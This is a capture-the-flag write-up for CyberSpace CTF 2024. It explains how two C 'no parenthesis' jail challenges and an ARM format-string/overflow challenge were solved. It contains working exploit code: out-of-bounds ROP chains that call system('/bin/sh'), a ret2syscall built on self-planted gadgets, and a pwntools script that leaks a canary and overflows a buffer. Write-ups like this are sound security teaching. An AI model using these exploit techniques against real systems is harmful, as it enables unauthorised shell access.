---
# System prepended metadata

title: '[Writeup] CyberSpace CTF 2024'
tags: [pwn, jail]

---

# jail
Pwners have lots of advantages doing these 2 challenges.
## no parenthesis
### overview
The program gives us a python program, it simply read our input, put it to `main` function, then compile it.
There are some notable restrictions:
* `banned = "{}()#%?"`, so we can do any function call.
* The compile command is `gcc -Werror -Wall -O0 -o <output> <source file>`, which treats all warnings as error.

### thinking
My teammate thought of building a rop chain, with that insight, we'll go ahead and build a simple libc leak (stored rip of main is in `__libc_start_main` func) and call `system("/bin/sh\x00");`


Before moving on, we need to get the `libc` file  first. Reading the `nsjail.cfg` function, we can guess that the correct one is in `/chroot` of Docker container. Copy that out is fairly simple.

We build a `Makefile` to make testing faster, it compile using the given configurations, then `patchelf` with the correct libc.
```
all:
        gcc -Werror -Wall -O0 -o out ./test.c
        # gcc -Wall -O0 -o out ./test.c
        patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./out
        patchelf --replace-needed libc.so.6 ./libc.so.6 ./out
```

With previous pwning experience, we test OOB, and it works:
```C
int main() {
    typedef unsigned long long ull;
    ull a[1];
    a[0] = 1;
    a[10] = 0;
    return a[0];
}
```
The thing to note is: remember to `return` a[0] or else it give `unused variable` error.

### executing
Okay, now let's get all the offsets needed:
* `system`
     ![image](https://hackmd.io/_uploads/ryqBMNQnR.png)
* `/bin/sh`
    ![image](https://hackmd.io/_uploads/H1qYzNQ3A.png)
* `pop rdi; ret`
    ![image](https://hackmd.io/_uploads/HJmCfNm3A.png)

Our strategy: find `x` such that a[x] is the return address, then subtract from it some offset to get `libc base`. Then set:
* `a[x] = pop_rdi`,
* `a[x+1] = binsh`,
* `a[x+2] = system`.

Then boom, we're done.
We tried doing that on our machine and it works, but it don't work on Docker. Maybe the compiler is different.
To debug our script on the correct environment, we modify the `Dockerfile` to install `gdb` (yes, raw gdb, since I'm to tired writing user switching stuff to install pwndbg), and `chall.py` to print out the compiled file location + run a shell once we connnect:
* `Dockerfile`:


    ```docker
    FROM python:3.10.13 as chroot

    RUN apt update
    RUN apt install gdb git -y

    RUN /usr/sbin/useradd --no-create-home -u 1000 user

    # the rest of the file
    ```
* `chall.py`:
    ```python
    # given code
    with tempfile.TemporaryDirectory() as td:
        # given the code here
        print(compiled_path)
        os.system('/bin/sh')
    ```

Using gdb, we can figure out the correct index, we modified our code a little bit and it works:
```cpp
int main() {
  typedef unsigned long long ull;
  ull a[1];
  a[0] = 1;
  ull libc = a[7] - 0x2724a;
  ull poprdi = libc + 0x00000000000277e5;
  ull binsh = libc + 0x0000000000196031;
  ull system = libc + 0x000000000004c490;
  ull ret = libc + 0x0000000000027182;
  a[7] = poprdi;
  a[8] = binsh;
  a[9] = ret;
  a[10] = system;
  return a[0];
}
```
Some thing to note: I made the game harder by using additional variables :v and using raw gdb is really painful.

### flag
Flag: `CSCTF{im_sure_you_wrote_some_incredibly_normal_code}`

## no parenthesis revenge

### overview
Mostly the same as the previous one, except some important thing:
* We write straight to `_start` function
* Compile with `gcc -static -ffreestanding -nostdlib -Werror -Wall -O0 -o out ./test.c`. In which: `-ffreestanding` means the program starts at `_start`; `-nostdlib` means no libc this time. 
* Anyway, running `checksec` to see mitigations, so, No PIE this time:
![image](https://hackmd.io/_uploads/BJzCuVQ2C.png)

### thinking
My other teammate thought of this crazy thing: the byte code for `pop rdi; ret` is `0xc35f`, if we write `a[0] = 0xc35f`, it compiles to something like `mov [rbp-0x10], 0xc35f`, so there are those bytes in the executable section, and ah ha, we can make our own gadgets.

No libc this time, so we did a simple ret2syscall, we need two gadgets: `pop rdi; pop rdx; pop rcx; pop rax; ret`, and `syscall; ret` (may not need the ret in syscall), and a string `/bin/sh\x00`.

### doing
Okay, using [this tool](https://defuse.ca/online-x86-assembler.htm#disassembly), we get the shellcode of those 2 gadgets:
![image](https://hackmd.io/_uploads/Bk1vo4X3A.png)
![image](https://hackmd.io/_uploads/SynwsVQnC.png)
Just write it backward (little endian).
So our setups:
```cpp
  typedef unsigned long long ull;
  char s[] = "/bin/sh";
  ull a[2];
  a[0] = 0xc3585a5e5f;
  a[1] = 0xc3050f;
```
Then the setup + the code is similar to the above challenge:
```cpp
int _start() {
  typedef unsigned long long ull;
  char s[] = "/bin/sh";
  ull a[2];
  a[0] = 0xc3585a5e5f;
  a[1] = 0xc3050f;
  a[5] = 0x0000000000401014; // pop rdi, rsi, rdx, rax
  a[6] = 0x401006; // "/bin/sh"
  a[7] = 0;
  a[8] = 0;
  a[9] = 59;
  a[10] = 0x0000000000401024; // "syscall; ret"
  return a[0] + s[0];
}
```

### flag
Flag: `CSCTF{she_libc_gadgets_on_my_goto_until_i_use_&&label_884d70525ebade450910939cb2fc0e76}
`

# pwn

## shelltester-v2
This challenge is not that hard, it's just new ARM architecture. New for me too :v 

### setup
We're given a `chall` and a `qemu-arm-static` file.
I found [this writeup](https://ctftime.org/writeup/8591), which give all the setup needed for an ARM challenge.

### overview
![image](https://hackmd.io/_uploads/B1qa25E2A.png)
Decompile in Ghidra:
```cpp!=
void vuln(void)

{
  char *pcVar1;
  char buf [52];
  char another_buf [100];
  int canary;
  
  canary = __stack_chk_guard;
  puts("Tell me something: ");
  fgets(buf,50,stdin);
  printf(buf);
  puts("Do you want to say something before you leave?");
  pcVar1 = fgets(another_buf,1000,stdin);
  if (canary != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail(pcVar1);
  }
  return;
}
```
Bug: format string + buffer overflow.

### thinking
I honestly didn't know how ARM works, so I have to do a little bit of ChatGPT, there are three points needed to solve this chall:
* The registers include `sp`, `pc`, and `r0`, `r1`... to `r12`.
* The first 4 arguments for a functions are put in `r0`, `r1`, `r2`, `r3` and then the rest is on the stack (similar to x64)
* In a functions call, there are:
```asm
push {r11, lr}
add r11, sp, #4
sub sp, sp, #<space needed>
....
...
..
..
sub sp, r11, #4
pop {r11, pc}
```
So `r11` acts kinda like our beloved `rbp`, and `lr` is return address. In `x64`, `call` instruction automatically does push return address, and jump to the function location. Maybe ARM is a little bit more explicit :v 

We can use BOF to overwrite the stored pc.
Feel familiar? Time to ROP.

Finding gadgets. There's no `ret` instruction here, but we all know that `ret` = `pop rip`, in this case, we only need some gadget in the form of: `pop {...., pc}`.

It's a static binary, and no pie, I have to check if `/bin/sh` is there, and... yep:
![image](https://hackmd.io/_uploads/ryUX7oV3A.png)

Then, find something like `pop {r0, ..., pc}` to control first args and move on to next gadget:
![image](https://hackmd.io/_uploads/r1VMHiN20.png)

Then the rest is just format string leak canary and rbp, and call system.

Since there's only 4 arguments is put into registers, and this is 32-bit, formula for calculating offset for format string: `(address_to_leak - (long)$sp)/4 + 4` (pretty intuitive to figure it out).
 
### executing
```python=
from pwn import *

# how to pwn ARM
# https://ctftime.org/writeup/8591

# p = remote('shelltesterv2.challs.csc.tf', 1337)
# p = process(["./qemu-arm-static","-g","12346", "./chall"]) # run and debug
p = process(["qemu-arm-static","./chall"]) # Just run

# canary leak
context.binary = exe = ELF('./chall')
p.sendlineafter(b'Tell me something: \n', b'%43$lx,%44$lx')
leak_val = p.recvline(keepends=False).decode().split(',')
canary = int(leak_val[0], 16)
stored_sp = int(leak_val[1], 16)
log.info(f'{hex(canary) = }')
log.info(f'{hex(stored_sp) = }')

fill_to_stored_pc = 108
pop_r0_pc = 0x0006f25c
binsh = 0x00072688
rop_chain = flat(
    pop_r0_pc,
    binsh,
    exe.sym['system']
)
payload = b'A' * (fill_to_stored_pc - 8) + p32(canary) + p32(stored_sp + 0x20) + rop_chain
p.sendlineafter(b' you leave?', payload)

p.interactive()
```
I change my solve a little bit when I write this writeup (I was putting `/bin/sh` on stack and calculate offset lul).

### flag
`CSCTF{4rm_pwn_1s_c00l_r1ght?}`

## 